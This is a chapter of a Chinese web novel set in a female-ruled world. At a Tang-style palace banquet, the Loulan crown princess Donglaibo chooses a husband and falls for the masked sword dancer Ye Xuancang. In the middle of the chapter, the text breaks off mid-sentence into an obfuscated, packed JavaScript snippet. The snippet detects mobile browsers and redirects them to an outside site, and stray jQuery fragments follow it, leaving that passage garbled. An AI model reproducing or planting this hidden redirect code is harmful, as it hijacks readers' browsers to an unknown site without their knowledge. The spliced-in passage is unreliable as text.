43. 既见君子(请看作话)

作品:《在女尊写娇夫怎么你了

    层层叠叠的蜡烛放置在大殿中的各个角落,烛火亮如白昼,满室辉煌。来自隋朝宝库中珍藏的名贵异香,此时被毫不吝啬地洒满宫殿。


    同宫夜宴,纸醉金迷,入目繁华。


    无数美人在大殿中央跳着令人迷醉的舞蹈,一颦一笑,如水般风情流露。


    可端坐于大殿中的名门望族,却又各怀心思,无心观赏舞姬们曼妙绝伦的身姿。


    他们饮着酒,谈笑间,却又不约而同地将目光投向坐在帝王下首的红衣少年。


    这场宫宴,名义上是为了为大同建立立下大功的诸位将领大臣庆功,赏赐美人。可实际上,出场的除了舞姬之外,全是各家的貌美郎君。


    这场宴会的真正含义,是为楼兰王的嫡长女,楼兰王储东莱波准备的选夫宴。


    楼兰是西域第一大国,历代君王又与李氏家族义结金兰,两家早就有打算让小辈亲上加亲。只可惜隋朝时李家位高权重,为了避嫌,不能与邻国王室过于亲近,这事就耽搁下来了。


    现在,李家在楼兰的助力下登上皇位,这件美事,该提上日程了。


    同高祖李扶打得一手好算盘。东莱波要是挑中自己的孙辈做王夫,再诞下流有李氏血脉的王太女,那楼兰在几代后,就可以彻底纳入大同的版图了。


    就算不做王太女,出一位李姓王夫,楼兰就会与大同牢牢地绑在一起,支持着大同,不让隋朝亡国遗族扰乱朝政。


    而楼兰呢,楼兰子嗣不丰,且是世间少有的女尊国王国,是不会对李氏江山产生什么威胁的。这样百利无一害的好事,真是千载难遇。


    只可惜,听说皇爷爷要将自己送到一个长得不算美的女人的床上。还是一个会宠幸很多男人的女人身边,李扶的三个适龄孙辈都避如蛇蝎。


    这些不听话的孙辈让李扶拍断了大腿。


    至于东莱波,她也看不上这些自视甚高的小皇孙。因此这桩婚姻无法被强买强卖。


    而李扶这厢,仍不死心。


    朕的孙子不行,那大同满朝文武的后辈,你总能挑上一个顺眼的吧!


    就这样,这场针对东莱波一人的选夫宴,隆重地展开。


    面对明里暗里打量的目光,东莱波熟若无睹。


    她懒散地支着头,饮着醇厚香甜但不醉人的果酒,有一搭没一搭地欣赏美人柔软的腰肢,宽大的裙摆如莲花般层层绽放。


    “楼兰的胡旋舞,倒是与大同不尽相同。”


    东莱波对身边自小陪伴在身边的杨项鸦说。


    杨项鸦一言难尽地看了一眼自家殿下。


    “少君,您对这些少男,真的一点兴味都没有吗?”


    看看这家的小郎,那叫一个温润如玉,如白璧无暇。


    大同有句诗,‘陌上人如玉,公子世无双。’就是形容这样的美人吧!”


    杨项鸦将筷子转移了一个方向,对着中央吟诗作画的白衣少男说。


    东莱波懒懒地抬眼,“这个不好,像爹爹腔。”


    “那这家的小郎呢?”杨项鸦眼睛一亮。浅绿色的眼眸中春水荡漾。


    红衣少男吹着笙,容貌精致艳丽到有些邪气。一双上挑的桃花眼勾魂夺魄,极尽风流写意之姿。


    这次东莱波倒是多看了两眼,然后收回了目光。


    “像他这种公媚子,肯定是浪荡之人,我怕我压不住他。”


    杨项鸦瘪了瘪嘴,怏怏不乐地低头。


    “杨项鸦,这大同到底是为阿波选夫,还是为你选夫啊?怎么她没一个看上,你却见一个爱一个。


    要不,跟陛下求求情,将他们都带回楼兰杨大人府上呗!”


    邓良玉紫衣风流,她摇着扇子,墨色的长发被一根暗紫色的带子随意地绑起,松松散散地披在身后。


    杨项鸦作势要打她,邓良玉灵活地避开,三人笑闹在一团。


    这场宫宴,男多女少,来的女眷大多是年长的诰命夫人。三位少年正当年龄,身份尊贵不凡,自然吸引了全场的注意力。


    杨项鸦天真活泼,邓良玉冷漠肆意,东莱波威严高傲,在场的贵公子都心痒痒的。可一想到她们的来处,又都熄了心思。


    他们才不愿意从坐拥三妻四妾到徒劳看妻主纳郎侍。


    他们才不愿意从特权阶级到被压迫的一方。


    不知道又是哪家的小郎入了她的法眼,杨项鸦又欢欣鼓舞起来。


    “这个这个!”杨项鸦按耐住激动,轻轻推了推东莱波。


    “你真该好好去洗洗眼睛,先前那个红衣少男,一看就是已经有所属,不然眼神不会都不分给我一个,光看着女眷席了。”邓良玉嗤笑道。


    “阿波,你说呢?”


    邓良玉转头看向东莱波,却见她的好友,正痴痴地看着台上。


    大殿中央,少年立于高台之上,一张诡谲的面具覆于面上,随着铮铮的琴声舞着长剑。


    一剑,梨花落,一剑,情丝生。


    这剑舞不似江湖上的侠客打打杀杀,也不似青楼楚客的柔媚婉约,而是一种世家贵族独有的清冷姿态。


    翩若惊鸿,婉若游龙,说得就是叶玄苍。


    一舞毕,少年朝着帝王行了一礼,退回坐席。


    邓良玉在东莱波挥了挥手,气急败坏道,


    “东莱波!你快醒醒,他都跳完了你怎么还在盯着人家看。魂丢啦!”


    东莱波这才后知后觉地反应过来自己干了什么蠢事。


    她拿起果酒,一饮而尽,掩盖了面上的几分热意。


    东莱波一看右边,邓良玉正虎视眈眈地盯着她,她一看左边,杨项鸦正朝着她露出一个暧昧的笑容。


    帝嬴表示她不想说话,帝嬴表示她想冷静冷静。


    这下丢人丢大发了。


    东莱波在心中悲鸣。


    她调整好自己的状态,再抬头,正对上龙椅上九五至尊慈眉善目的笑容。


    除此之外,还有丞相夫人挪移的笑容,和诸位少年才俊失落又松一口气的表情。


    东莱波没有说话,她的神情已经恢复了冷淡,似乎对什么都不甚在意。方才的惊鸿一瞥似乎都只是黄粱一梦。


    王储的失态,只能存在于一瞬之间。


    邓良玉放空自己的思维,开始回想给刚才的那个少男。


    少男身姿挺拔,如青竹般修长,但又健美有力。说明他不会体虚。


    他在舞剑的时候身上佩环相撞,清脆悦耳,没有发出太大响声,足以说明教养,家室良好,不是想要爬上阿波龙床,然后一飞冲天的寒门子弟。


    他既没有藏拙,又没有眼神拉丝,说明不排斥尚给阿波,也没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514926|163888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心悦的女子。


    阿波满意,同皇满意,君上也一向给阿波极大的选择权,所以说,这桩婚事,有戏,或者可以说,是板上钉钉的了。


    想到这,邓良玉一阵懊恼。但她也无力阻止,也没有立场阻止。


    还有一点!


    那个姓叶的(叫什么不重要)遮盖着自己的面具,一定是貌丑无颜,恐招致王储厌恶,才出此下策。


    邓良玉想到这,激动地抬起头,立刻跟东莱波分析。


    东莱波倒是没说什么,杨项鸦反而白了她一眼,抬抬下巴。


    “你自己看。”


    少男已然摘下面具,姿态优雅地在那喝茶。


    面具下的脸,可是称得上俊美冷厉,一点不比方才杨项鸦提到的那两个差。


    邓良玉闭了闭眼,再睁眼,眼中已经没有希望。


    她沉痛地一拍东莱波的肩膀,


    “既然你喜欢,那把他带回楼兰,封个王后,也不是不行。”


    东莱波刚才在思考,她该怎么辩解她才没有对那个少男一见钟情,她只是,见色起意而已。


    但没曾想,邓良玉居然自己把自己攻略成功了。不反对自己纳个大同男人了。


    红衣少年面上稍稍露出些喜色。


    看着挚友前所未有的“娇羞”,杨项鸦和邓良玉对视一眼,凑到东莱波耳边说。


    “去吧,那个叫叶玄苍,已经离座了。这是陛下在给你们创造机会呢!快去吧!”


    东莱波思考了不到一秒,就跟着指引她去“茅房”的宫人身后走了。


    在座的各位都不是傻子,看着楼兰王储与叶家长子一前一后出去的身影,他们也都明白这场选夫宴花落谁家了。


    一时之间,朝着叶家家主道喜的人,络绎不绝。


    与叶家家主一样惊喜的,还有李扶。


    他没想到,东莱波看上的,居然是星象大师的亲传弟子叶玄苍。


    别人不敢说,但叶玄苍,可是一等一的忠君爱国,所谓端庄君子,两袖清风,说的就是他这种人。


    这下,即使是东莱波想要背叛大同,叶玄苍都能拼了命把消息传了回来。


    了却心中的一大难事之后,李扶满意的笑容更加真切了几分。


    宫人在带东莱波走入离太极宫不远的一处偏殿后,就离去了。


    东莱波继续向前走,来到一颗大树下。


    月影绰绰,灯火朦胧,看不真切,地上又有碎石子,东莱波不熟悉大同的小道,她小心翼翼地走着,却突然被什么东西打了一下,站不稳,将要栽倒下去。


    东莱波自幼习武,这种对她来说都是小场面,正当准备稳住重心站起来时,余光中突然出现一只手,一只骨节分明的,冷静沉稳的手。


    火光电时间,东莱波选择朝那只手的主人方向倒。


    “殿下小心。”


    东莱波果真被清冷声音的主人接住,虚虚地搂在怀中。


    东莱波抬头一看,正对上一张放大版的俊美面孔。


    正是梨花盛开的时节,梨花开得正好。


    满地梨花纷落,沉甸甸的花枝下,一对璧人的影子,交缠在一起。


    东莱波想,在她十八岁那年的夜晚,她看见了这世间最明亮的月亮。


    那是,独属于她一人的月亮。